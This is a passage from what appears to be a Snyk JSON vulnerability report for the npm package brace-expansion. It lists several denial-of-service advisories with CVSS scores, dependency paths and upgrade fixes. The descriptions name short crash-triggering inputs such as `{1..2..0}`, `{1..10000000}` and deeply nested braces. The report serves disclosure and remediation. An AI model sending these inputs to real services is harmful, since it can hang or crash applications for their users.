(~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size 